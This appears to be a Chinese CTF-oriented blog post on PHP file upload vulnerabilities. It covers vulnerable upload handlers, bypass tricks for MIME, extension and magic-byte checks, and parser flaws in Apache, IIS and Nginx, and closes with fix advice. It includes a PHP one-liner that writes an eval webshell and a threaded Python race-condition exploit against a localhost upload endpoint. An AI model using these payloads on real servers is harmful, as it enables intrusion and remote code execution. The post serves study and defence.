PHP文件上传漏洞总结
前言
比赛时候基本每一场都会遇到文件上传的题目,但是解题思路一直受限于文件上传漏洞的不清晰。遂整理,虽然里面很多绕过CTF不怎么会考了(可能太简单了,或许我太菜)。
文件上传包结构
- 请求类型:POST
- 前端指定类型enctype
<form action='' enctype='multipart/form-data' method='POST'>
<input type='file' name='file'>
</form>
multipart 格式的数据会将一个表单拆分为多个部分(part),每个部分对应一个输入域。在一般的表单输入域中,
它所对应的部分中会放置文本型数据,但是如果上传文件的话,它所对应的部分可以是二进制
curl、python都有API可以上传文件不用特意构造文件上传包
------------cH2cH2Ij5Ij5ei4KM7Ef1gL6Ij5cH2
Content-Disposition: form-data; name="Filename"
shell.php
------------cH2cH2Ij5Ij5ei4KM7Ef1gL6Ij5cH2
Content-Disposition: form-data; name="desc11"
desc112
------------cH2cH2Ij5Ij5ei4KM7Ef1gL6Ij5cH2
Content-Disposition: form-data; name="task"
doupload
------------cH2cH2Ij5Ij5ei4KM7Ef1gL6Ij5cH2
Content-Disposition: form-data; name="file_id"
0
------------cH2cH2Ij5Ij5ei4KM7Ef1gL6Ij5cH2
Content-Disposition: form-data; name="upload_file"; filename="shell.php::$DATA"
Content-Type: application/octet-stream
<?php
phpinfo();
------------cH2cH2Ij5Ij5ei4KM7Ef1gL6Ij5cH2
Content-Disposition: form-data; name="Upload"
Submit Query
------------cH2cH2Ij5Ij5ei4KM7Ef1gL6Ij5cH2--
文件上传存在的检测
- 客户端javascript检测(检测文件扩展名)
- 服务端MIME类型检测(检测Content-Type内容)
- 服务器端目录路径检测(检测和Path参数相关的内容)
- 服务端文件扩展名检测(检测跟文件extension相关的内容)
- 服务端文件内容检测(检测内容是否合法或含有恶意代码)
客户端javascript检测
代码
function checkPic(){
var rgx= "(.jpg|.JPG|.gif|.GIF)$";
var re=new RegExp(rgx);
var file_name=$("#picFile").val();
绕过方法
- 审查元素,修改Javascript检测函数
- burpsuite抓包改后缀
服务端MIME类型检测
代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
绕过方法
burpsuite代理进行抓包,修改Content-Type
为image/gif
….
服务端目录路径检测
代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
绕过方法
存在path参数可控,配合解析漏洞上传webshell
php 00截断: GET:/upload/1.php%001.jpg
POST:在文件名后burpsuite添加二进制00
适用场合
include(require)
file_get_contents
file_exists
所有url中参数可以用%00控制
服务端文件扩展名检测
绕过方法
利用思路:os系统特性、后缀名截取不规范、php代码缺陷、过滤不完全、配合伪协议解析图形文件
后端采用in_arrary函数判断文件后缀(黑名单)
- 更换.htaccess偏门文件名和后缀名
- 未去除末尾空格,添加空格绕过
- ::$DATA绕过(windows)
- 大小写混写
- 后缀添加点号(windows)
- 不可绕过考虑phar://协议利用,若过滤配合(compress://)
- /.符号绕过
白名单
webserver解析漏洞、00解析漏洞
服务器端文件内容检测
文件幻数检测
JPG : FF D8 FF E0 00 10 4A 46 49 46
GIF : 47 49 46 38 39 61 (GIF89a)
PNG: 89 50 4E 47
绕过方法:伪造幻数,添加webshell
文件相关信息检测
伪造好幻数后,添加webshell,添加额外内容,增大文件大小
文件加载检测
调用API或者函数进行文件加载检测,常见是图像渲染检测,进行二次渲染
绕过方法
参考链接:https://xz.aliyun.com/t/2657#toc-13
https://od0d.cn/2019/04/17/DDCTF-web题解/#image-upload
竞争上传
代码
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed,delete the file!");
}
?>
首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:
<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>
当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:
import os
import requests
import threading
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = "http://127.0.0.1:8080/upload/shell0.php"
self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print("[*]create file info.php success")
os._exit(0)
def _upload(self):
print("upload file.....")
file = {"file":open("shell0.php","r")}
requests.post(self.uploadUrl, files=file)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()
if __name__ == "__main__":
threads = 20
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()
解析漏洞总结
Apache解析漏洞
Apache 1.x & 2.x:当Apache遇到不认识的后缀名时,如:1.php.xx,会从后往前依次尝试解析,直到发现认识的php后缀名,遂当做PHP脚本解析。(apache认识的后缀名储存在/etc/mime.types)
新版本apache解析漏洞
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
文件名后缀burpsuite hex添加\x0A
,访问/1.php%0A
成功解析。因为$匹配'\n'
或'\r'
IIS解析漏洞
当文件名为*.asp;1.jpg
类型的格式时,会被IIS当做ASP脚本执行
Nginx解析漏洞
a. test.jpg=>test.jpg/x.php进行解析攻击。
b. 低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
文件上传其他知识点
- php自包含:https://www.anquanke.com/post/id/153376
阻止move_uploaded_file(file,newloc)删除临时文件
利用条件:文件夹可读、可控文件包含点、目录遍历漏洞查看临时文件名 - 反序列化上传
https://od0d.cn/2019/03/24/session%E5%8F%8D-%E5%BA%8F%E5%88%97%E5%8C%96%E5%A4%84%E7%90%86%E5%99%A8%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%BD%93/ - unlink竞争
- end函数缺陷
修复建议
- 白名单机制
- 文件名随机重命名,修改为特定后缀名
- 检查文件内容
- 隐藏文件路径
- 保存文件在web目录之外,不能直接访问,防止解析
- 将文件保存到第三方
参考链接
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!